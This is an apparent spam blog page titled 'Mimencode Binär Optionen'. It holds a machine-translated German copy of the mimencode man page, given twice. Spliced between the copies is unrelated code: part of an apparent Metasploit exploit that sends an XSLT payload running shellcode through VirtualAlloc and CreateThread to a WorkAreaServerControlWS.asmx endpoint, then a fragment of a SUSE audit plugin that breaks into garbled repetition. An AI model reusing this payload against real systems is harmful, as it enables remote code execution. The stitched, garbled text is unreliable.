Wednesday, 27 September 2017

Mimencode Binär Optionen


Abschnitt: Benutzerbefehle (1) Aktualisiert: Release 1 Index mimencode - Übersetzen von und aus Mail-orientierten Codierungsformaten (Gleiches Programm auch als quotmmencodequot installiert) mimencode - u - b - q - p Dateiname - o outputfile BESCHREIBUNG Das mimencode-Programm Einfach konvertiert einen Byte-Stream in (oder aus) einer der Standard-Mail-Encoding-Formate von MIME definiert, die vorgeschlagene Standard für Internet-Multimedia-Mail-Formate. Eine solche Codierung ist notwendig, da binäre Daten nicht über die Mail verschickt werden können. Die von mimencode verstandenen Codierungen sind der Verwendung der uuencodeuudecode-Programme, für den Einsatz in Mailen, in mehrfacher Hinsicht vorzuziehen, die für die Autoren von MIME wichtig waren. Standardmäßig liest der Mimencode die Standard-Eingabe und sendet eine quadratcodierte Version des Inputs an die Standardausgabe. Die (wirklich nicht notwendige) quot-bquot-Option teilt mimencode mit, um die quotbase64quot-Codierung zu verwenden. Die Option quot-qquot teilt mimencode mit, um die quotquoted-printablequot-Codierung anstelle von base64 zu verwenden. Die Option-uquot-Option teilt mimencode mit, um die Standard-Eingabe zu decodieren, anstatt sie zu codieren. Die quot-pquot-Option teilt mimencode mit, um decodierte CRLF-Sequenzen in die lokale Newline-Konvention während der Decodierung zu übersetzen und die Umkehrung während der Codierung durchzuführen. Diese Option ist nur sinnvoll, wenn - b (base64 encoding) in Kraft ist. Wenn ein Dateinamen-Argument gegeben ist, wird die Eingabe von dieser Datei und nicht von der Standard-Eingabe gelesen. Die Option quot-oquot, der von einem Dateinamen gefolgt werden muss, sendet die Ausgabe an die benannte Datei und nicht an die Standardausgabe. Mimencode ist ein Ersatz für uuencode für Post und Nachrichten verwenden. Der Grund ist einfach: uuencode funktioniert nicht sehr gut in einer Reihe von Umständen und Möglichkeiten. Insbesondere verwendet uuencode Zeichen, die sich nicht gut über alle Mail-Gateways (insbesondere ASCII lt-gt EBCDIC Gateways) übersetzen. Außerdem ist uuencode nicht standardmäßig - es gibt mehrere Varianten, die herumschwimmen, codieren und decodieren Dinge in verschiedenen und inkompatiblen Möglichkeiten, ohne quotstandardquot, auf denen eine Implementierung basieren. Schließlich funktioniert uuencode im Allgemeinen nicht gut in einer Pipe, obwohl einige Varianten geändert wurden, um dies zu tun. Mimencode implementiert die für MIME definierten Codierungen als uuencode-Ersatz und sollte für die E-Mail-Nutzung erheblich robuster sein. Dieses Programm wurde ursprünglich als quotmmencodequot verteilt. Dieser Name entpuppt sich in Konflikt mit einem Programm mit dem gleichen Namen, das Teil der Slate-Software von BBN ist, aber völlig ändern den Namen zu mimencode würde andere Probleme (vor allem mit Portabilität auf Systeme, wo die linke Hälfte der Dateinamen beschränkt ist 8 Zeichen). Derzeit wird es mit Links unter BOTH Namen verteilt. Die Programme in der Verteilung, die das Programm anrufen, nennen es als quotmimencodequot, so dass die quotmmencodequot Version an Orten gelöscht werden kann, wo es ein Problem verursacht. (Die Quelldateien werden immer noch als quotmmencodequot bezeichnet.) Copyright (c) 1991 Bell Communications Research, Inc. (Bellcore) Erlaubnis zur Nutzung, Kopie, Änderung und Verbreitung dieses Materials zu jedem Zweck und ohne Gebühr wird hiermit erteilt Dass der oben genannte Urheberrechtsvermerk und diese Erlaubnismitteilung in allen Kopien erscheinen und dass der Name Bellcore nicht in Werbung oder Werbung in Bezug auf dieses Material ohne die spezifische, vorherige schriftliche Erlaubnis eines Bevollmächtigten von Bellcore verwendet wird. BELLCORE MACHT KEINE REPRÄSENTATIONEN ÜBER DIE GENAUIGKEIT ODER EIGNUNG DIESES MATERIALS FÜR JEDEN ZWECK. ES IST EINE AUSDRÜCKLICHE ODER STILLSCHWEIGENDE GEWÄHRLEISTUNG. Nathaniel S. BorensteinError nreturn Exploit :: CheckCode :: Vulnerable nend nreturn Exploit :: CheckCode :: Safe nend n ndef uripath nuripath targeturi. path nuripath ltlt quotquot wenn uripath-1, 1 quotquot nuripath nend n ndef buildreferer nif datastorex27SSLx27 nschema quotquot nelse nschema Aquot nend n nreferer Schema nreferer ltlt rhost nreferer ltlt quot: quot nreferer ltlt uripath nreferer nend n ndef exploit n nprintstatus (quotGeneration der EXE Payload und der XSLT.) Nfingerprint randtextalpha (5 rand (5)) n nxsltdata ltlt-XSLT n nprivate Statisch UInt32 MEMCOMMIT 0x1000 nprivate statisch UInt32 PAGEEXECUTEREADWRITE 0x40 n nSystem. Runtime. InteropServices. DllImport (quotkernel32quot) nprivate statisch extern UInt32 VirtualAlloc (UInt32 lpStartAddr, UInt32 Größe, UInt32 flAllocationType, UInt32 flProtect) n nSystem. Runtime. InteropServices. DllImport (quotkernel32quot) nprivate Statische externe IntPtr CreateThread (UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId) n npublic string xml () n nbyte shellcode System. Convert. FromBase64String (shellcode64) nUInt32 funcAddr VirtualAlloc (0, (UInt32 ) Shellcode. Length, MEMCOMMIT, PAGEEXECUTEREADWRITE) nSystem. Runtime. InteropServices. Marshal. Copy (Shellcode. 0, (IntPtr) (funcAddr), shellcode. Length) nIntPtr hThread IntPtr. Zero nIntPtr pinfo IntPtr. Zero nUInt32 threadId 0 nhThread CreateThread (0, 0, funcAddr, pinfo, 0, ref threadId) nreturn quot nn nXSLT n nprintstatus ( "Trennen, um die xslt-Transformation auszuführen.) Nres sendrequestcgi (n WorkAreaServerControlWS. asmxquot, nx27versionx27 gt x271.1x27, nx27methodx27 gt x27POSTx27, nx27ctypex27 gt quottextxml charsetUTF-8quot, nx27headersx27 gt, nx27datax27 gt xsltdata n) nif res und res. code 200 und (SLE (SD) d) quot, String: Release) nif (isnull (osver)) Audit (AUDITUNKNOWNAPPVER, quotSUSEquot) nosver osver1nif ( Ereg (Muster: quot (SLES11), String: osver)) Audit (AUDITOSNOT, quotSUSE SLES11quot, quotSUSE quot osver) nnif (getkbitem (quotHostSuSErpm-listquot)) Audit (AUDITPACKAGELISTMISSING) nncpu getkbitem (quotHostcpuquot) nif (isnull (cpu) ) Audit (AUDITUNKNOWNARCH) nif (cpu quot (SLEDSLES) quot) Audit (AUDITOSNOT, quotSUSEquot) nosver eregmatch (Muster: quot (SLE (SD) d) quot, string: release) nif (isnull (osver)) audit (AUDITUNKNOWNAPPVER, (Osver), osver (n), osver, osver, osver, osver, osver, osver, osver, osver, osver, osver, (Cnu) - Auto-C-Code - u - b - q - p-Dateiname - o-Ausgabefile BESCHREIBUNG Das Mimencode-Programm konvertiert einfach einen Byte-Stream in (oder aus ) Eines der Standard-Mail-Encoding-Formate von MIME definiert, die vorgeschlagene Standard für Internet-Multimedia-Mail-Formate. Eine solche Codierung ist notwendig, da binäre Daten nicht über die Mail verschickt werden können. Die von mimencode verstandenen Codierungen sind der Verwendung der uuencodeuudecode-Programme, für den Einsatz in Mailen, in mehrfacher Hinsicht vorzuziehen, die für die Autoren von MIME wichtig waren. Standardmäßig liest der Mimencode die Standard-Eingabe und sendet eine quadratcodierte Version des Inputs an die Standardausgabe. Die (wirklich nicht notwendige) quot-bquot-Option teilt mimencode mit, um die quotbase64quot-Codierung zu verwenden. Die Option quot-qquot teilt mimencode mit, um die quotquoted-printablequot-Codierung anstelle von base64 zu verwenden. Die Option-uquot-Option teilt mimencode mit, um die Standard-Eingabe zu decodieren, anstatt sie zu codieren. Die quot-pquot-Option teilt mimencode mit, um decodierte CRLF-Sequenzen in die lokale Newline-Konvention während der Decodierung zu übersetzen und die Umkehrung während der Codierung durchzuführen. Diese Option ist nur sinnvoll, wenn - b (base64 encoding) in Kraft ist. Wenn ein Dateinamen-Argument gegeben ist, wird die Eingabe von dieser Datei und nicht von der Standard-Eingabe gelesen. Die Option quot-oquot, der von einem Dateinamen gefolgt werden muss, sendet die Ausgabe an die benannte Datei und nicht an die Standardausgabe. Mimencode ist ein Ersatz für uuencode für Post und Nachrichten verwenden. Der Grund ist einfach: uuencode funktioniert nicht sehr gut in einer Reihe von Umständen und Möglichkeiten. Insbesondere verwendet uuencode Zeichen, die sich über alle Mail-Gateways (insbesondere ASCII lt-gt EBCDIC-Gateways) hinweg übersetzen lassen. Außerdem ist uuencode nicht standardmäßig - es gibt mehrere Varianten, die herumschwimmen, codieren und decodieren Dinge in verschiedenen und inkompatiblen Möglichkeiten, ohne quotstandardquot, auf denen eine Implementierung basieren. Schließlich funktioniert uuencode im Allgemeinen nicht gut in einer Pipe, obwohl einige Varianten geändert wurden, um dies zu tun. Mimencode implementiert die für MIME definierten Codierungen als uuencode-Ersatz und sollte für die E-Mail-Nutzung erheblich robuster sein. Dieses Programm wurde ursprünglich als quotmmencodequot verteilt. Dieser Name entpuppt sich in Konflikt mit einem Programm mit dem gleichen Namen, das Teil der Slate-Software von BBN ist, aber völlig ändern den Namen zu mimencode würde andere Probleme (vor allem mit Portabilität auf Systeme, wo die linke Hälfte der Dateinamen beschränkt ist 8 Zeichen). Derzeit wird es mit Links unter BOTH Namen verteilt. Die Programme in der Verteilung, die das Programm anrufen, nennen es als quotmimencodequot, so dass die quotmmencodequot Version an Orten gelöscht werden kann, wo es ein Problem verursacht. (Die Quelldateien werden immer noch als quotmmencodequot bezeichnet.) Copyright (c) 1991 Bell Communications Research, Inc. (Bellcore) Erlaubnis zur Nutzung, Kopie, Änderung und Verbreitung dieses Materials zu jedem Zweck und ohne Gebühr wird hiermit erteilt Dass der oben genannte Urheberrechtsvermerk und diese Erlaubnismitteilung in allen Kopien erscheinen und dass der Name Bellcore nicht in Werbung oder Werbung in Bezug auf dieses Material ohne die spezifische, vorherige schriftliche Erlaubnis eines Bevollmächtigten von Bellcore verwendet wird. BELLCORE MACHT KEINE REPRÄSENTATIONEN ÜBER DIE GENAUIGKEIT ODER EIGNUNG DIESES MATERIALS FÜR JEDEN ZWECK. ES IST EINE AUSDRÜCKLICHE ODER STILLSCHWEIGENDE GEWÄHRLEISTUNG. Nathaniel S. Borenstein

No comments:

Post a Comment